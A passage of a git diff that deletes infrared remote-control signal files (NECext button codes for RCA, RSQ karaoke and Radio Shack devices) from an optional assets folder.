-1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir deleted file mode 100644 index 3e6c7e270..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 09 00 00 00 -# -name: Power -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0C 00 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0D 00 00 00 -# -name: Vol_Up -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 10 00 00 00 -# -name: Vol_Down -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 11 00 00 00 -# -name: Ch_Up -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 20 00 00 00 -# -name: Ch_Down -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 21 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 43 00 00 00 -# -name: Plus -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 4C 00 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 58 00 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 59 00 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5A 00 00 00 -# -name: Rigth -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5B 00 00 00 -# -name: Ok -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5C 00 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 66 00 00 00 -# -name: Red -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 6D 00 00 00 -# -name: Green -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 6E 00 00 00 -# -name: Yellow -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 6F 00 00 00 -# -name: Blue -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 70 00 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 83 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CB 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CC 00 00 00 -# -name: i -type: parsed -protocol: NECext -address: 27 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir deleted file mode 100644 index e8555f71f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 31 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 32 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 56 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 57 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 59 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 61 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir deleted file mode 100644 index 768df70d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: Antenna -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: Presets -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: GoBack -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 56 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 57 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 59 00 00 00 -# -name: Sound -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 5A 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 80 00 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir deleted file mode 100644 index c91d74f88..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: reset -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: setup- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 18 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: vid+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 64 00 00 00 -# -name: setup+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 65 00 00 00 -# -name: vid- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: E2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir deleted file mode 100644 index 95f8ec920..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 09 00 00 00 -# -name: sair -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0E 00 00 00 -# -name: ajuda -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 10 00 00 00 -# -name: voltar -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 12 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 13 00 00 00 -# -name: net_tv -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 15 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 16 00 00 00 -# -name: violet -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 16 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 17 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 18 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1B 00 00 00 -# -name: rigth -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1D 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1F 00 00 00 -# -name: musica -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 20 00 00 00 -# -name: mosaico -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 21 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 23 00 00 00 -# -name: portal -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 24 00 00 00 -# -name: opcoes -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 26 00 00 00 -# -name: ppv -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 28 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir deleted file mode 100644 index 3972d6133..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GO_BACK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir deleted file mode 100644 index b35055736..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0A 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 15 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 19 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1F 00 00 00 -# -name: F._ADV -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 39 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3B 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3C 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 46 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 47 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir deleted file mode 100644 index ac930bd17..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir deleted file mode 100644 index 1412d4a98..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REPLAY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: B3 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: B3 00 00 00 -command: B5 00 00 00 -# -name: VIDEO_INTRO -type: parsed -protocol: NECext -address: B3 00 00 00 -command: B6 00 00 00 -# -name: HIGHLIGHT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: B9 00 00 00 -# -name: B._MARK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: BA 00 00 00 -# -name: B._SEARCH -type: parsed -protocol: NECext -address: B3 00 00 00 -command: BB 00 00 00 -# -name: BOOK_DIGEST -type: parsed -protocol: NECext -address: B3 00 00 00 -command: BC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir deleted file mode 100644 index d10d92ec2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 00 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 03 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 06 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 07 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 08 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 09 00 00 00 -# -name: RANDOM_REPEAT -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 0A 00 00 00 -# -name: PLAY/SELECT -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 0D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 19 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 1A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 1E 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 1F 00 00 00 -# -name: MPX_V._REPLACE -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 29 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 2C 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 31 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 32 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir deleted file mode 100644 index 05772afbd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VIDEO_SPAC. -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir deleted file mode 100644 index f4c7088a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: 